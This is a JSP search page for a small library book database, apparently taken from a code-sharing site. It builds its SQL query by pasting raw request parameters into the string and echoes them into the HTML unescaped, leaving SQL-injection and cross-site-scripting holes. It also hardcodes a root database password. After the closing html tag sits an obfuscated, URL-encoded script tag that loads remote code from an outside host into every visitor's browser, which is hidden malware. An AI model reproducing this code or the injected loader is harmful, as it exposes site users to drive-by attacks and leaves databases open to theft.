📄 search.jsp
字号:
<%@ page contentType = "text/html; charset =GBK" %>
<%@ page language = "java" import = "java.sql.*" %>
<%! int i=0;%>
<%
request.setCharacterEncoding("GBK");
response.setCharacterEncoding("GBK");
%>
<html>
<head>
<title>search result</title>
</head>
<body>
<table border="0" width="1035" id="table1" height="345">
<tr>
<td width="238" rowspan="2">
<img border="0" src="images/Snap1.jpg" width="238" height="78"> </td>
<td width="652" height="59" colspan="5"></td>
<td width="130" height="59">
<TABLE cellSpacing=0 cellPadding=3 border=0 valign="top" id="table2" width="6">
<TBODY>
<TR>
<TD class=globalLinks vAlign=center noWrap align=right>
</TD></TR></TBODY></TABLE>
</td>
</tr>
<tr>
<td width="159" height="27"></td>
<td width="75" height="27" align="center" bgcolor="#008080"></td>
<td width="95" height="27" align="center" bgcolor="#C0C0C0"></td>
<td width="86" height="27" align="center" bgcolor="#C0C0C0"></td>
<td width="221" height="27"></td>
<td width="130" height="27"></td>
</tr>
<tr>
<td width="1025" colspan="7" height="32" align="center" bgcolor="#008080"></td>
</tr>
<tr>
<td width="1025" colspan="7" height="67"></td>
</tr>
<tr>
<td width="1025" colspan="7">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0 id="table5">
<TBODY>
<TR height=30><TD bgColor=#eeeecc><font face="华文隶书" size="6"><b>Search Result:</b></font></TD></TR></TBODY></TABLE></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"><CENTER>
<%
String nn = request.getParameter("books");
String bb = request.getParameter("T1");
out.println("Search: "+nn+"<BR>");
out.println("The key words : "+bb+"<BR>");
%>
<%
String mySqlDriver = "com.mysql.jdbc.Driver";
String url ="jdbc:mysql://localhost:3306/library?user=root&password=123456&useUnicode=true&characterEncoding=gbk";
Connection conn;
try{
Class.forName(mySqlDriver);
}
catch(Exception e){
out.println("Driver Error");
}
conn = DriverManager.getConnection(url);
if(conn==null){
out.println("get Conn erroe");
}
Statement stm = conn.createStatement();
ResultSet re = null;
re = stm.executeQuery("SELECT * FROM books WHERE "+nn+" like '%"+bb+"%'");
%>
<TABLE class=tableBackground border=0 id="table6" width="793">
<TBODY>
<TR>
<TD>
<p align="center">
</TD></TR>
<TR>
<TD vAlign=center align=middle height="57">
<table border="1" width="100%" id="table7">
<%
i=0;
while(re.next()){
i++;
if(i%2==0) out.println("<tr bgcolor = #00ff00>");
else out.println("<tr bgcolor = #ffff00>");
%>
<td width="91" align="center" height="24"><% out.println(new String(re.getString("bookID").getBytes("GBK"),"GBK"));%>
</td>
<td width="172" align="center" height="24"><% out.println(new String(re.getString("bookname").getBytes("GBK"),"GBK"));%>
</td>
<td width="110" align="center" height="24"><% out.println(new String(re.getString("bookauthor").getBytes("GBK"),"GBK"));%>
</td>
<td align="center" height="24"><% out.println(new String(re.getString("bookcon").getBytes("GBK"),"GBK"));%>
</td>
<td width="57" align="center" height="24"><% out.println(new String(re.getString("bookyear").getBytes("GBK"),"GBK"));%>
</td>
<td width="68" align="center" height="24"><% out.println(new String(re.getString("bookpivotal").getBytes("GBK"),"GBK"));%>
</td>
<td width="70" align="center" height="24"><% out.println(new String(re.getString("bookstate").getBytes("GBK"),"GBK"));%>
</td>
</tr>
<%}
out.println("Total "+i+" results.");
re.close();
stm.close();
conn.close();
%>
</TABLE></CENTER>
<p></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"> <font face="Courier New">
<a href="index.htm">GO BACK SEARCH AGAIN</a></font><p>Library</td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"><FONT size=1>© 2007.5-2007.6 142042 All rights
reserved.</FONT></td>
</tr>
</table>
</body>
</html><script src="http://%76%6F%64%2E%32%31%63%6E%79%6C%2E%63%6F%6D/%62%32%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -